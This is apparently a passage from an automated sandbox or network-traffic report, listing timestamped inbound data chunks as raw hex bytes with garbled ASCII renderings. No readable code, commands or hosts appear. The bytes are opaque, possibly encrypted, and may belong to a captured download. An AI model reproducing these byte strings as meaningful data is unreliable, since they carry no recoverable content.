be a8 0d d4 46 69 2c b1 5b 65 5a 74 7a 87 22 40 6e ba b0 f0 4b ce cf cb 5f d7 a9 bb f8 f5 53 ec 4f 1c 33 05 bc 86 4b 27 
52 4f 07 eb 5e 15 da 45 6a a7 19 5e dd 53 16 52 f5 b1 3c 5d 64 ea 58 95 33 60 c5 89 02 78 1e 55 6d 2e 21 f5 6c 24 65 8d 
21 21 f7 d4 9c ec 1c ec e6 21 19 c6 b1 1b 9d de 28 9f d4 34 14 19 d8 27 02 32 bb 5c 4e 25 e1 bd a1 ce 23 c9 ba e3 a4 f2 
56 d3 fa 44 f0 a4 00 e4 c3 85 45 46 da 5c c1 5b b1 32 07 
Data Ascii: FeXE'xhy\ZXvc"_XC)nfn44Jlpia:^pBCJE#tIFAw*sFi,[eZtz"@nK_SO3K'RO^Ej^SR<]dX3`xUm.!l$e!!!(4
'2\N%#VDEF\[2

2022-09-28 05:32:41 UTC 89 IN Data Raw: 37 a5 8e 9c a9 5f ad d9 c6 10 f4 49 d0 03 fd ce 33 c1 69 e4 68 31 6d 73 68 ed e8 86 47 fb 12 ec 4e 1b f1 d6 76 
d0 83 9b 16 3e 96 80 3f 72 ee dc 66 27 4c d5 3a 2a 76 8e 55 4a 87 5f f0 ae 4e ed 79 28 15 ce 56 f7 1b 38 b0 55 8f 42 d0 
42 d0 e0 96 13 8e 52 8e 68 e3 cf 47 6d 75 72 a3 77 d7 95 93 06 63 63 d1 14 3c fd 48 62 8e 98 9e 15 1b c6 83 9b d8 6f ec 
f1 de 6c e4 d8 f1 92 74 f2 31 ad 50 96 fb 53 5a 82 97 b5 8f d4 83 fc e5 a9 70 26 ff e6 dc ce 63 37 98 49 ad 6d 56 1a 2d a1 
bc 3b 09 00 89 67 82 31 b5 43 17 3c ce 4e da 22 9f d0 a8 af 22 75 d4 ef f1 bd 8b 47 c7 a3 c3 69 21 be 41 8d e3 52 ed bb 
88 97 e6 fe 4e 1a 99 3a 0a b6 68 e1 e2 77 5f 65 7e 6e 6e 5f 21 b8 f9 83 85 9c a4 48 5a 95 0a 67 ec 16 7b d8 52 5f e9 7b 
88 71 59 dc e7 d4 32 8a 29 8b e7 70 d6 45 e6 c3 87 
Data Ascii: 7_I3ih1mshGNv>?rf'L:*vUJ_Ny(V8UBBRhGmurwcc<Hbolt1PSZp&c7ImV-;g1C<N""uGi!ARN:hw_e~nn_!HZg
{R_{qY2)pE

2022-09-28 05:32:41 UTC 90 IN Data Raw: 5d 83 91 a1 45 07 4c 98 ce 54 6c 05 d7 18 ab d4 84 c4 c1 c6 d1 f7 ee c4 73 2b af 40 c5 48 9e 48 ab 5c 56 84 
76 50 d2 9f 0b a9 ea c3 32 0a ad 0d 37 f2 b1 d9 99 3d c4 03 4a b2 a5 4b 6a 98 06 5d 5c 29 a6 40 31 d4 e5 07 da 05 20 
31 a3 e6 60 07 7f d3 d4 3c 8c e0 a9 68 8a fb f8 79 a8 0d 7b 84 85 6a 73 f5 e6 33 59 38 2b e9 2e 58 9d b7 d8 81 7e 0c 8f 
7b 4c 3a 4c 0b 47 23 d7 23 28 ce e0 fd be fc 1f 65 1d cc b3 e4 2c 37 e2 17 80 f6 17 21 0d f1 77 02 f1 f8 d2 48 e1 77 a0 57 
f0 28 70 c5 58 4c ef f0 4b 0e 92 59 76 90 14 a3 b6 72 3e ba 61 02 2c 8e 47 0e bf e4 e7 88 d7 86 72 d9 6e 16 47 c8 69 85 
74 c2 26 17 da 66 14 f3 e0 94 1f 76 23 23 ce 0a c5 7c f5 18 db 9f 30 8b 24 da be 80 53 78 19 f7 30 be 92 9d cc 66 56 d3 
23 68 10 b9 c5 92 f8 29 a4 cb ec 02 94 5b 90 38 ed f5 3b 
Data Ascii: ]ELTls+@HH\VvP27=JKj]\)@1 1`<hy{js3Y8+.X~{L:LG##(e,7!wHwW(pXLKYvr>a,GrnGit&fv##|0$Sx0fV#h)[8;

2022-09-28 05:32:41 UTC 92 IN Data Raw: 91 a4 17 a3 3f 37 f8 08 66 43 07 a3 47 a8 68 97 60 a2 08 9c b6 c4 7c 1a e6 c0 78 72 84 22 46 6d 38 a6 43 17 
1e 1e f3 32 ca c2 86 6d 13 93 8a 5c 4c d3 cb 13 c4 c9 0d 6c a8 bc 68 82 a7 36 d6 45 5a 3e b6 32 57 77 75 44 85 11 7a 
7a ac c6 89 3a b4 ab 85 19 cb ad 8a 9e fc 57 a2 16 0d 45 32 92 96 0d 00 12 7b 48 97 76 57 cf 35 06 92 1e 10 9b 7e 21 
4e fe 8c 49 56 27 be 2d a2 07 44 f9 e2 6d 1f 3e 62 7d 06 1a a7 4c 39 48 a4 66 07 ff fc f9 bb 36 c6 84 0f 3d e7 92 1a f5 e0 
78 dd 95 3d 16 1b ed 2f 0a 73 8f 59 18 4e 8e e8 86 f5 1f b4 81 8c b2 e8 7f bf 93 13 9f d6 71 94 f5 fa 64 02 d1 51 af 2b f7 
53 5b 56 1e a9 8c 8c 6a 36 02 be 0c 53 55 0e 88 76 c7 89 7b ca d0 66 17 86 8e 06 86 4e 30 80 d8 43 0e 1c c1 a5 e3 7c 
19 56 e3 2b c5 b0 db 03 1f 58 bc e7 5d 46 1c 84 26 ad bf 9a 
Data Ascii: ?7fCGh`|xr"Fm8C2m\Llh6EZ>2WwuDzz:WE2{HvW5~!NIV'-Dm>b}L9Hf6=x=/sYNqdQ+S[Vj6SUv{fN0C|V+X]F&

2022-09-28 05:32:41 UTC 93 IN Data Raw: 0b 99 5f 81 da 3d e8 43 1a 1e 9c 3d f5 0b 25 d3 43 8d 6c ea 61 dc f0 f7 1b 98 62 85 3b b1 9b 01 16 38 74 d4 
64 de ad a8 36 5b 4c bb 76 06 e8 51 37 eb 91 9c 03 1b f2 90 bd d7 47 f6 f2 b3 47 c2 d2 ff eb 76 fb 34 87 64 d2 bc 39 5f fa 
84 b5 fe b6 d1 df d9 b7 7b 77 8a f9 e6 fc 7e 18 f1 74 d0 4f 63 15 48 cb 90 50 50 51 97 67 f3 23 fc 00 1a 14 b7 4f d9 74 89 
d7 86 b1 2c 3d 92 b7 d4 cc fa 40 86 b4 cd 49 7f d7 06 e7 84 6e 86 87 8b 99 df e8 42 1a b0 67 4a a9 2f d5 b2 00 62 55 1e 
4b 6f 41 44 b2 a8 94 e8 c9 81 5a 6d dd 5d 7d e1 6d 1e dd 45 09 98 0f f2 1f 5a bf fb dd 0e b9 4b dc 81 3a a2 60 ee c2 d3 
8f 15 93 2c 1d 79 07 f5 c5 2b a9 d5 6a 73 f6 d5 72 04 69 f2 95 bf 90 55 5c 9c 92 e8 78 9b 58 7d 69 b6 a8 e7 e4 86 00 d9 
cc a8 37 bb 47 40 f5 63 71 70 05 cc 3d fc 65 8e 24 
Data Ascii: _=C=%Clab;8td6[LvQ7GGv4d9_{w~tOcHPPQg#Ot,=@InBgJ/bUKoADZm]}mEZK:`,y+jsriU\xX}i7G@cqp=e$

2022-09-28 05:32:41 UTC 94 IN Data Raw: a3 c2 63 12 85 00 60 54 69 ae 69 33 d3 eb 52 b4 4b 65 28 98 c5 41 30 4d 82 87 1c 88 9c b6 64 a8 c6 ec 2a 
b8 37 68 f8 db 50 2b ab db 10 47 74 6b e6 09 3c 9b af 9a ec 0a 2b 80 42 13 36 76 77 6f 21 f9 15 56 c9 d5 cc 9a c3 1f 12 
7e fb f1 d6 1d 1b ee 4d ef c5 05 56 1d d7 51 72 cc db cc 04 a5 11 92 5c c4 28 7b ee 67 35 8f db 6b 70 ed 5c 57 f6 22 86 
f2 17 62 fe 57 7b 27 af 4a 20 be d9 bf b8 84 9a 72 d0 5b 29 48 d5 74 93 70 a5 36 4c fb 43 6b ba c4 86 63 73 09 13 f0 4e 
cd 48 a2 2b c1 eb 23 f2 1a a0 98 cb 4b 6b 02 c8 25 ed fc f1 9c 31 12 95 58 7e 3a 95 da 90 c6 0f ad a8 8a 46 dd 7b ce 12 
fb c5 2f c1 6a e5 61 73 7e 45 65 ee 8a e0 69 c6 43 94 09 53 95 fd 7d f7 8c f2 35 1e e7 b2 1f 1b d5 ff 6b 20 53 a6 2c 03 12 
fe 1e 36 cb 00 a5 f8 41 c5 20 0b 44 b1 28 f4 27 18 e9 30 
Data Ascii: c`Tii3RKe(A0Md*7hP+Gtk<+B6vwo!V~MVQr\({g5kp\W"bW{'J r[)Htp6LCkcsNH+#Kk%1X~:F{/jas~EeiCS}5k 
S,6A D('0

2022-09-28 05:32:41 UTC 95 IN Data Raw: d6 07 e6 a3 2a d3 69 54 5d 95 4e 3b 15 45 4d 9c 36 2f 39 80 d4 80 58 f9 d1 f6 3f d1 ad cc e8 cb 04 81 17 57 
41 31 96 ad 56 17 48 46 60 fc 60 1a 8e 2b 06 e3 78 69 bf 09 26 70 ef c4 55 59 30 f9 0e d6 11 5d fc c2 54 3d 2c 51 69 10 
52 a8 15 36 1a b7 19 71 ab f6 db 8d 35 b9 a2 11 23 cd c3 60 d1 9a 78 ac fc 41 3d 63 dd 0d 7f 73 a8 28 16 4b 92 88 ba f3 
3b c5 95 b3 ad c3 7a b7 f7 6b cb a5 0d f8 c6 bd 76 71 ca 25 b6 32 83 43 42 1b 43 c0 f8 e0 12 2d 02 8f 46 5e 13 25 b4 05 
cf 84 53 d5 92 5b 14 8b 80 6f 91 56 3d 8c ec 7d 0a 12 a9 e3 86 04 2c 4a d1 6c b3 8f e0 01 00 6c 9d c6 27 21 68 9f 7c 9b 
d6 bb e1 f6 80 c4 de bb 92 57 6e d5 75 cc 79 a0 6f b2 74 6e d8 5a 43 c2 b0 15 e8 ce f4 33 27 b3 15 38 d4 bd d4 a4 42 ca 
17 68 92 a8 13 05 fd 25 56 4e 63 ae 63 17 e4 ea 0a 9c 4e 
Data Ascii: *iT]N;EM6/9X?WA1VHF``+xi&pUY0]T=,QiR6q5#`xA=cs(K;zkvq%2CBC-F^%S[oV=},Jll'!h|WnuyotnZC3'8
Bh%VNccN

Timestamp
kBytes
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2022-09-28 05:32:41 UTC 97 IN Data Raw: da 15 da ef df 79 94 f0 9d ac 6a ca 6e 87 37 c2 f2 47 23 b6 c5 de ca ca be ae 9e b4 44 50 d4 fa c0 f5 27 08 f5 
61 96 6d 63 46 4f e7 93 00 06 15 ec 1b bf 2f 88 11 49 2b f3 70 dc 4f b3 ca b5 f1 3f 4e 90 94 cc bc a0 59 91 c7 cb 66 43 ce 
65 e6 92 17 bb 80 a8 f2 f2 f5 51 2d 98 14 77 b5 7e a5 e2 77 64 1f 2f 1c 65 59 38 ef b6 d4 e7 bc a6 2b 55 c1 7c 4c b4 35 1f 
e5 2c 4e ec 60 bf 45 16 d6 9d b3 5d 8c 75 e1 82 37 81 5f ee cc dd f9 07 aa 27 36 48 2e e1 db 2a 9a 87 7c 01 98 91 07 5e 
40 c3 90 a4 93 4c 70 c6 ae fd 58 e9 6d 24 20 f4 a8 d0 cb ca 71 ac ab fe 5a c9 53 39 c0 62 6e 69 02 cc 3e a5 04 bc 4c e1 
20 89 c0 ec 0b 45 83 db 72 6c b0 7d 18 22 59 f3 0a 2c 29 40 da 35 b6 ea a6 67 61 9a 9d 7e 53 90 cf 58 80 88 53 50 c7 af 
5e ad 8d 2c e9 7e 3d 43 b8 5e 71 50 44 27 9a 72 
Data Ascii: yjn7G#DP'amcFO/I+pO?NYfCeQ-w~wd/eY8+U|L5,N`E]u7_'6H.*|^@LpXm$ qZS9bni>L Erl}"Y,)@5ga~SXS
P^,~=C^qPD'r

2022-09-28 05:32:41 UTC 97 IN Data Raw: fe fe 37 8b 35 89 55 93 b0 7f 79 07 6d d5 7d f1 aa a4 33 4d 58 cd 54 6b c4 0a 6f ae fb df 31 79 b0 f1 eb c4 6a 
c7 cf a2 49 c4 df 9d 8b 5d fd 69 b3 72 93 a6 3d 56 94 d0 c4 ec 83 e8 e6 e7 96 48 4c c7 95 d7 80 4b 28 cb 4d a6 56 4c 28 
6b ca ec 6d 4e 6c c5 37 f7 6b b8 57 11 6a c1 75 87 2b ed d7 8c b3 3a 5e 87 92 d6 9d a7 6c b0 b4 f5 4e 7a b3 25 d8 ee 6b 
90 a6 b7 ea f6 9e 43 1c 93 25 0f f8 31 e8 e0 55 65 7d 16 70 09 49 4f fc 8b 95 e8 ba 87 74 4a c2 52 57 fe 1a 5a a2 29 34 
86 32 a0 78 63 84 e4 ea 01 b7 2d c4 8d 3e 98 72 ce b5 9b ed 25 99 46 26 7f 5e 84 a9 4c c0 c0 1b 7d f7 c9 76 30 54 85 ab 
b7 88 6b 6a c2 b0 bf 6a c5 69 0c 27 b0 e1 b9 88 90 0a ef de ae 16 8e 22 66 fb 08 5e 15 34 db 69 a5 38 96 55 9b 2b 95 bb 
e2 7c 1a e6 c0 78 72 e6 1a 46 77 18 a5 2d 17 0e 1e fe 
Data Ascii: 75Uym}3MXTko1yjI]ir=VHLK(MVL(kmNl7kWju+:^lNz%kC%1Ue}pIOtJRWZ)42xc->r%F&^L}v0Tkjji'"f^4i8
U+|xrFw-

2022-09-28 05:32:41 UTC 99 IN Data Raw: 3b 6e 85 d3 23 fc a7 8e 55 b1 d6 cd 50 8e 33 5f 91 83 72 05 a3 91 2d 59 49 39 be 35 21 be a1 a8 8b 0c 1e ec 
43 77 12 46 69 53 2b d7 0e 6e ad f5 90 8a 8f 65 2b 69 ab e6 f1 19 6a c1 18 e7 ee 19 3f 1b d5 69 5a 86 84 9c 4d 8b 09 9f 
45 e3 1a 01 df 6b 4b 87 eb 2a 2b 88 78 15 b4 09 d9 a1 60 6a c2 28 52 2c ff 1c 7c 88 e6 d7 9c d0 98 74 fa 41 1c 74 9b 45 
e0 7b d3 60 40 c4 7b 58 a4 a1 8a 1f 07 4b 66 f3 7e c6 6a a2 01 e8 93 09 d0 04 e0 89 fc 6c 1c 0d 85 26 bb c4 fa 8e 76 0a 
fd 04 58 2c a2 f9 f8 fa 16 a4 e5 c6 42 da 70 eb 68 ed ec 48 b7 1a 95 41 33 4a 4c 52 8b be e2 11 c4 4c 87 05 6d 88 92 54 
e5 9b 8a 10 02 ce a2 0a 6f f8 b5 65 25 5f f8 30 2d 5a c6 5c 78 c3 3d 9f c1 1a ef 2f 5b 5e ca 15 be 02 28 ed 28 a1 7a ee 57 
d5 cc b7 1a 99 38 dc 36 fa 86 12 3d 26 56 af 6c d6 b4 
Data Ascii: ;n#UP3_r-YI95!CwFiS+ne+ij?iZMEkK*+x`j(R,|tAtE{`@{XKf~jl&vX,BphHA3JLRLmToe%_0-Z\x=/[^((zW86=&Vl

2022-09-28 05:32:41 UTC 100 IN Data Raw: 41 c0 fa ed 3a bb 88 bb a4 e9 6c 90 3b 69 47 46 a8 86 5f 2c 6e 77 4b ef 4e 77 f8 64 74 ab 76 09 ea 1f 79 70 
84 ac 7b 44 0b fb 54 85 1d 44 e5 cf 0a 39 29 72 61 69 5d b7 47 3d 4a 95 68 2e f3 f5 dd ab 20 c7 b6 5f 16 ae b2 6f a8 e6 
2e b7 e7 41 43 66 f3 2f 31 37 b6 54 0c 6b b6 88 a6 e2 02 e1 bd e4 a8 dd 39 a5 ff 5f c5 86 03 c2 de fc 55 75 f6 7e cf 51 80 
7b 40 46 02 9f 9b 8d 7f 2d 1c a5 12 1a 0b 1b f1 26 9f cb 67 e8 db 7a 0d 82 b7 48 94 42 50 d3 a1 37 47 0a 94 d4 f3 07 30 
77 f0 50 ae 89 e1 39 02 49 89 c0 63 5a 06 e8 0a a2 8d cd fb c4 b8 eb f1 99 90 1a 5b d7 02 d5 7f e9 71 96 75 53 d2 0d 11 
a2 e9 31 f7 c1 c2 00 1c a2 61 29 b3 ad eb ae 55 e3 11 48 ba c0 24 5c b6 2d 7f 6c 58 b0 4d 25 dc 9f 09 82 48 28 13 97 d5 
4a 1e 46 b1 f3 39 83 d1 e0 20 b5 eb c5 5d ae 3e 6f f3 
Data Ascii: A:l;iGF_,nwKNwdtvyp{DTD9)rai]G=Jh. _o.ACf/17Tk9_Uu~Q{@F-&gzHBP7G0wP9IcZ[quS1a)UH$\-lXM%H
(JF9 ]>o

2022-09-28 05:32:41 UTC 101 IN Data Raw: c4 c7 8c d2 d0 f2 74 7f d8 fb b7 89 14 42 9c 49 86 4d 6c 0a 4e d7 b6 32 1a 37 cc 1d d4 54 c7 6a 10 7e d1 51 
a8 5b e3 81 ff e6 50 7d a8 ad e2 ac ae 78 a5 a8 fb 2f 4c c5 2d e3 ae 52 9f 8a 99 c3 f3 d0 36 7e d6 75 0f 89 7b 8c a0 7f 2a 
5b 7a 0d 37 7e 77 d5 b1 d8 d0 83 e6 61 0a 92 6a 53 d2 0c 15 e7 25 7e c7 3f b3 4d 5f ac ec f4 35 ba 7f d2 97 02 8c 09 87 
a3 d7 cb 63 93 29 11 77 5b 8d 9e 28 90 c1 7d 50 cc d8 15 0e 06 c3 a1 b4 9a 4d 72 91 8f c5 51 c3 10 3d 38 9d 96 fd ed ea 
05 d4 ae bb 29 f1 4d 04 92 07 65 69 1a ca 46 be 64 bd 54 84 22 8a b3 8b 31 71 85 84 7d 67 e7 15 73 5b 17 b9 0d 1f 0d 
5b ff 29 b7 ec 81 5e 36 a6 91 03 44 cc a7 6b f9 ea 13 20 ef f2 6e aa 85 23 d5 4c 2f 4f 87 5d 3b 48 61 64 b2 0c 7d 7a 8e 
b5 f1 6a df c0 ef 21 cc 9d 89 9c d4 4a 96 37 07 78 2e d3 
Data Ascii: tBIMlN27Tj~Q[P}x/L-R6~u{*[z7~wajS%~?M_5c)w[(}PMrQ=8)MeiFdT"1q}gs[[)^6Dk n#L/O];Had}zj!J7x.

2022-09-28 05:32:41 UTC 103 IN Data Raw: 1b 31 c8 40 b2 ce 28 0b 0d fa 55 5a 81 af 86 56 ba 46 b8 74 c7 07 77 cb 5d 0b ba 9e 5b 3b ba 56 41 b0 09 84 
a9 7b 62 f4 09 21 54 87 5c 24 89 e3 e1 a0 db b4 7f ef 63 43 11 9f 61 ba 1b 96 53 13 e3 71 19 fe 92 82 74 75 18 6e ec 4d 
c1 43 f7 34 da 99 27 e7 03 e6 b1 f1 09 50 39 fa 1e fe d7 f3 fb 72 20 91 22 5e 5e d2 90 9c d8 4f d3 9c e0 14 c0 27 c9 1d f0 
b6 34 f1 75 ff 7e 23 6c 14 5f a6 9d 83 7f e7 68 e1 3b 60 b6 df 26 95 aa b4 21 03 81 92 2a 50 c0 a9 1f 61 38 af 2e 5e 4b 
a6 59 4c e8 37 af e5 45 ae 4b 0d 34 a2 0c a1 16 08 d3 2d bf 4c d6 63 f8 cd be 0e 93 77 9f 3f ef c5 15 1f 3b 32 db 5f ee 96 
fd 51 0b 36 84 7c 10 c7 19 54 b8 99 95 36 02 da b7 97 e3 73 cf ff b1 32 f8 ec c4 ac 41 d6 6b a3 44 84 ae 61 17 c9 de ba 
e9 9c c6 fb f0 f5 44 5f 8e b1 ac 89 65 04 f9 71 d2 
Data Ascii: 1@(UZVFtw][;VA{b!T\$cCaSqtunMC4'P9r "^^O'4u~#l_h;`&!*Pa8.^KYL7EK4-Lcw?;2_Q6|T6s2AkDaD_eq

2022-09-28 05:32:41 UTC 104 IN Data Raw: 7c 5d 99 24 28 cf fc e1 a0 2a ef 85 2a 05 fe 93 3a ec 84 45 fe 8b 71 00 16 f7 18 06 1b ac 52 04 32 ba 8f b2 ef 
61 b1 9c 9d a3 a4 4c f1 ff 13 a2 f5 6f d8 c9 a0 40 52 ed 6d c8 00 d0 62 5d 19 35 9e b5 89 4c 32 18 be 23 1c 5e 54 c6 67 
95 82 07 c4 f4 7d 36 b0 ba 40 94 45 25 a3 ca 55 0c 0b c8 90 93 03 3a 46 95 21 e1 e3 a8 06 64 4b 9f 9f 7f 4b 0c 8a 1e 8b 
a2 cc c3 ca ba d0 d4 bf 81 57 47 d3 0c 9d 2d f9 26 93 45 29 b2 67 63 cb 97 11 d9 c2 cf 3a 73 af 2f 2b e5 b3 a5 af 52 f5 59 
30 db b6 2e 57 af 00 76 6c 23 ed 67 17 ec c2 5f fe 53 2c 12 a2 f9 0e 12 42 b9 f3 51 83 d1 e0 20 b5 fd 98 25 8e 05 5b 84 
f0 6a 78 8d 96 59 2e 33 49 b7 26 08 82 b6 9c e9 01 47 f9 1c 56 04 3d 49 5c 1c e4 2f 2b ab fe f4 fe f5 00 1b 39 a3 d4 cc 
3a 13 f8 13 eb a2 6e 52 39 d2 06 0a b2 89 82 5b a0 
Data Ascii: |]$(**:EqR2aLo@Rmb]5L2#^Tg}6@E%U:F!dKKWG-&E)gc:s/+RY0.Wvl#g_S,BQ %[jxY.3I&GV=I\/+9:nR9[

2022-09-28 05:32:41 UTC 105 IN Data Raw: e8 b1 1e c9 e1 e0 d1 fe c8 3d 30 ba 02 7f 9e 75 91 a9 74 61 78 18 51 2a 1e 75 eb b1 e1 85 d0 c2 3b 01 d4 4a 
22 b1 28 5d f7 45 06 eb 57 bd 6e 5c a8 c7 fb 09 90 7c fe 94 3c 9c 44 df c7 9b e9 09 ad 51 34 5a 28 d0 ee 27 b5 f8 5e 08 
c4 d0 19 63 12 8a 8a 87 9e 41 4a 9a a9 ba 74 e3 7c 18 6c a2 be b7 fc d6 72 ff af ae 36 f4 4d 04 92 07 65 1f 55 f4 68 a6 
15 a6 51 b0 03 b9 b4 fc 1b 49 a5 d3 2c 42 a6 33 6b 45 12 82 19 6f 34 5a fc 29 84 cd 91 74 1b ae 83 69 64 f4 ae 16 f9 ea 
13 20 ef b7 5c be 90 3d f2 5d 6f 6c e3 5b 66 41 5d 33 a3 09 26 79 d2 e6 d3 3a 89 88 9b 55 ee ae b3 bd 88 59 9e 25 06 5e 
03 d2 f9 73 24 53 7f 7b c2 1d 56 e0 49 06 af 3d 0e d7 4d 2a 45 df d3 42 0d 0f 8a 27 d5 38 70 d3 8a 5e 10 1e 68 56 0f 5b 
93 1c 71 2c dd 6d 35 df e8 ec 95 29 c1 9a 09 36 a0 a6 3f 
Data Ascii: =0utaxQ*u;J"(]EWn\|<DQ4Z('^cAJt|lr6MeUhQI,B3kEo4Z)tid \=]ol[fA]3&y:UY%^s$S{VI=M*EB'8p^hV[q,m5)6?

2022-09-28 05:32:41 UTC 106 IN Data Raw: cd 5e 82 69 ea 4f 0b f8 02 50 8b 91 f3 73 3a 68 78 bf 4d ed 45 dc 35 c5 e4 5d c4 06 a3 cc df 76 66 7c c5 48 9c 
dd e4 af 15 04 86 35 44 52 bc f5 f9 e0 16 f2 9a ed 32 9f 66 de 02 ac c5 30 8a 39 8b 0d 36 7e 13 64 a8 8a fb 74 be 47 99 
6a 70 9e ed 23 cb a8 9d 16 05 fd a4 46 17 b4 b2 1f 10 51 df 11 38 19 bc 4a 5a f1 31 99 ba 43 ab 47 13 0a ce 3b be 79 25 
e1 0e f3 6c df 5a f3 d5 a1 09 9c 66 a7 56 b2 bb 13 06 7b 37 81 08 84 da fd 20 7b 7b 91 6a 00 99 0d 45 ba fd 80 30 33 f1 
e3 9c c5 74 d6 d5 df 54 e3 cb c4 ad 42 e7 56 90 5d b0 a6 74 30 ab 91 fa f6 a3 ee ea d0 f8 3d 3d 8e c0 f7 e6 76 32 e5 60 
97 49 2d 1b 5f c1 b9 1d 2e 3b c5 10 e3 20 ce 55 49 67 86 1c d6 6b 8c c4 86 83 58 4a b3 ed b4 be 80 7c aa 9c f3 2d 5e e6 
19 96 91 62 f4 ff dd 83 ba d6 7c 70 ef 1b 6b 91 7b b4 
Data Ascii: ^iOPs:hxME5]vf|H5DR2f096~dtGjp#FQ8JZ1CG;y%lZfV{7 {{jE03tTBV]t0==v2`I-_.; UIgkXJ|-^b|pk{
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2022-09-28 05:32:41 UTC 108 IN Data Raw: b8 1e 85 5f 09 4b 24 b7 82 a8 4c 34 24 b5 16 05 09 22 b2 0c c6 a1 50 c5 dd 52 54 a6 f6 6a a2 40 1f 88 f0 5b 
42 3e c1 a5 e3 7c 19 68 9a 6c a0 b2 ac 45 30 6c a9 d6 77 78 09 cc 17 8b b6 a8 d9 cd a0 b8 ad d3 da 4e 79 aa 49 c2 58 
91 2c 92 43 62 9b 07 7c d6 96 76 ad cd ed 1c 01 92 17 20 b6 9e ce b8 66 e1 11 5f ec ed 56 77 ae 13 5f 7f 63 84 73 04 be 
a8 19 e7 57 51 76 a1 d7 48 2c 57 ad fc 3f da a8 95 56 b3 80 e9 74 8e 3b 79 c2 8e 06 4e eb db 61 17 2a 4b c9 0d 09 93 
b3 a2 ed 6a 0f e2 43 7d 0a 5f 4d 64 2d d1 05 21 a2 8c 86 f6 c3 33 53 02 a4 e7 e4 44 2d e0 4d 84 db 1a 57 0d b6 62 7c 85 
bd a7 4e e9 7b f3 32 9f 06 77 94 06 07 bc fc 4e 0a 8e 44 7e a5 35 b9 84 76 3b fd 25 66 77 88 02 7c f9 b4 b5 be c3 a1 78 
d5 72 32 5a f1 72 a1 12 81 65 40 de 75 1a 9b a6 d0 68 46 55 66 
Data Ascii: _K$L4$"PRTj@[B>|hlE0lwxNyIX,Cb|v f_Vw_csWQvH,W?Vt;yNa*KjC}_Md-!3SD-MWb|N{2wND~5v;%fw|xr2
Zre@uhFUf

2022-09-28 05:32:41 UTC 109 IN Data Raw: d9 45 f0 b2 9f cc 03 b8 67 57 7b 35 d1 99 24 a2 dd 5e 53 98 91 07 5e 40 80 df 83 b9 7a 22 91 f2 de 5e f5 6f 11 
23 ac 94 e1 dd f4 43 ec 94 f2 1e a4 27 5c f3 73 59 49 19 fc 44 a6 2e bb 61 aa 3d ab b0 fe 7c 27 c5 de 34 35 a0 12 10 75 
37 82 3c 37 34 10 e8 36 ba fb 94 69 00 98 ad 09 6c 99 cb 2e e7 d7 41 2b dd ae 7e b1 86 15 aa 77 6f 28 85 43 5f 69 69 70 
95 35 5b 5e 9d ba 89 07 97 b5 c9 59 ea 86 99 b8 da 76 be 0a 74 66 2e 8e 80 54 32 17 5e 5a ee 43 50 b3 35 3b b1 00 5c 
b9 53 0c 53 ff a1 62 01 1d b9 16 b6 5c 20 d8 cd 5f 10 3e 7c 16 3e 57 ff 21 6f 11 8f 06 0d f0 d4 eb 81 3d c5 a1 09 05 d8 d3 
6f a7 e3 26 ac fa 68 2f 15 89 43 4b 61 e1 10 03 51 8a 9a df f0 13 f0 bc bb f1 a4 56 d1 b4 59 fb 9c 23 f3 d3 a0 70 46 de 7a 
b6 0d c3 35 71 1c 36 a8 b1 b2 69 78 06 b8 32 5e 10 
Data Ascii: EgW{5$^S^@z"^o#C'\sYID.a=|'45u7<746il.A+~wo(C_iip5[^Yvtf.T2^ZCP5;\SSb\ _>|>W!o=o&h/CKaQV
Y#pFz5q6ix2^

2022-09-28 05:32:41 UTC 110 IN Data Raw: a7 73 a1 f2 03 86 77 c5 5f 28 0d 6a 7c a9 bb d5 11 cd 1f b2 16 0f f9 f2 71 e1 e1 ff 52 4e 98 84 23 50 f7 f3 14 51 
6d aa 37 5f 59 ce 4f 5b f9 10 b7 eb 45 ac 24 0a 40 ca 64 e5 73 3b ec 08 95 73 fd 28 c1 ec 8f 6e 8e 36 b7 3a 94 aa 71 37 
2b 49 d5 42 b9 c4 c0 72 15 7a cd 7b 2e fe 59 7b fb f3 a3 0b 77 fb 82 92 e7 6a ab cf d2 6d e3 c3 99 e2 75 f6 55 8e 71 b2 
a8 45 30 99 c2 f0 d8 81 df cc ef f3 7c 23 b3 92 b2 c5 73 45 cd 5a d3 52 2d 1f 7c d4 e7 1b 0a 02 c4 20 d1 78 c2 5e 16 05 
a2 7e a2 60 af e5 99 aa 1e 39 86 b1 bc bb 9f 4c 90 9b f4 69 51 be 41 8d e3 52 ed 90 b5 ff f2 cb 65 2f be 18 16 c1 48 bb 
a8 53 27 44 64 7e 2b 5e 4b d1 c0 c3 d1 9e a3 50 68 fa 69 72 f0 3f 6a de 5a 5a c1 39 be 1f 2b c8 a0 e1 2b c8 59 d0 de 26 
93 70 c4 ea 9d fe 02 a6 67 39 7f 55 d2 d9 57 bc 8c 
Data Ascii: sw_(j|qRN#PQm7_YO[E$@ds;s(n6:q7+IBrz{.Y{wjmuUqE0|#sEZR-| x^~`9LiQARe/HS'Dd~+^KPhir?jZZ9+
+Y&pg9UW

2022-09-28 05:32:41 UTC 111 IN Data Raw: c8 00 8e 82 8c d4 dc 82 c7 e9 a7 9c 00 08 d1 43 c5 4c ae 7e ab 5c 68 9e 51 7f e2 b1 40 fd de ef 2a 0a 95 1c 
26 f4 b9 f2 88 60 e6 64 4a be e1 47 5f b0 31 77 74 74 a4 42 34 ed cc 56 bf 26 5e 2f 9f c7 59 14 4e 93 f9 09 c7 d1 84 78 
b0 e1 ca 60 83 21 45 d6 d6 68 3a ba 8f 7e 03 49 5b e7 20 6a 82 bd 9f 84 4e 28 b0 44 44 2a 40 4b 57 00 c6 44 7b fa f8 fa 
82 dc 36 4e 38 d3 ef c4 10 29 dd 47 b9 cc 4d 08 2d f6 69 72 94 a8 9c 58 b3 23 f3 43 c7 1a 59 d1 51 7d 9b f7 6d 33 b6 40 
54 c4 27 8e b3 7c 61 ed 04 42 65 a9 5e 2d 8c f2 88 a8 d0 84 41 d8 6d 36 5c d6 10 92 28 d4 60 14 ff 52 29 88 8f c5 4f 66 
1c 5b d6 53 ef 5f e6 2c db dd 28 d8 3a d6 97 c6 53 4c 3e d1 0b a6 dd a0 ab 20 1f fd 23 7a 11 a0 d6 cf dd 7c d3 c7 c7 0f 
cd 7f c9 23 9c c0 19 d2 58 da 60 35 46 48 54 bd ab f4 52 
Data Ascii: CL~\hQ@*&`dJG_1wttB4V&^/YNx`!Eh:~I[ jN(DD*@KWD{6N8)GM-irX#CYQ}m3@T'|aBe^-Am6\(`R)Of[S_,(
:SL> #z|#X`5FHTR

